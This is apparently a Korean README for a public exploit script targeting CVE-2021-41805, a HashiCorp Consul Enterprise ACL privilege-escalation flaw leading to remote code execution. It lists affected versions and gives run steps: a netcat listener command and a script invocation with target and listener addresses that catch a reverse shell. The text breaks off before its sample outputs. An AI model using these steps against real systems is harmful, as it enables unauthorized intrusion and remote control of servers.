CVE-2021-41805 - HashiCorp Consul Enterprise 원격 코드 실행

[!WARNING] 법적 고지: 이 도구는 교육 목적으로만 엄격히 사용해야 합니다! 사전 상호 동의 없이 대상을 공격하기 위해 이 도구를 사용하는 것은 불법입니다. 이 도구를 사용하는 동안 적용되는 모든 법률을 준수하는 것은 사용자의 책임입니다. 이 도구의 개발자는 어떠한 책임도 지지 않으며, 이 프로그램의 오용이나 손해에 대해 책임을 지지 않습니다.

CVE 정보

한 네임스페이스의 ACL 토큰(기본 operator:write 권한 포함)이 다른 네임스페이스에서 의도하지 않은 권한 상승에 사용될 수 있습니다. 이를 악용하여 원격 코드 실행(RCE) 을 통해 권한이 상승된 상태로 공격할 수 있습니다.

영향을 받는 버전

• < 1.8.17
• 1.9.x < 1.9.11
• 1.10.x < 1.10.4

스크립트 설치 및 실행

• 먼저, 저장소를 클론합니다:
  git clone https://github.com/acfirthh/CVE-2021-41805.git
• 클론한 저장소로 디렉토리를 변경합니다:
  cd CVE-2021-41805
• 간단한 리스너를 시작합니다:
  nc -nvlp <LISTENER_PORT>
• 스크립트를 실행합니다:
  python3 CVE-2021-41805.py -r <TARGET_IP> -rp <TARGET_PORT> -l <LISTENER_IP> -lp <LISTENER_PORT> [선택사항: -t <ACL token> -v (자세한 출력) -s (SSL 사용)]

예상 출력

기본 인수(-r [TARGET_IP], -rp [TARGET_PORT], -l [LISTENER_IP], -lp [LISTENER_PORT]) (-t [ACL_TOKEN], -s [SSL 사용])로 익스플로잇을 실행하면 다음과 같은 기본 출력이 표시됩니다:

[*] The PUT request was made successfully. Check your listener...

기본 인수에 -v [자세히] 를 추가하여 익스플로잇을 실행하면 자세한 출력이 표시됩니다:

익스플로잇 실행 중 오류가 발생하고 -v 인수가 지정된 경우 출력은 다음과 같습니다: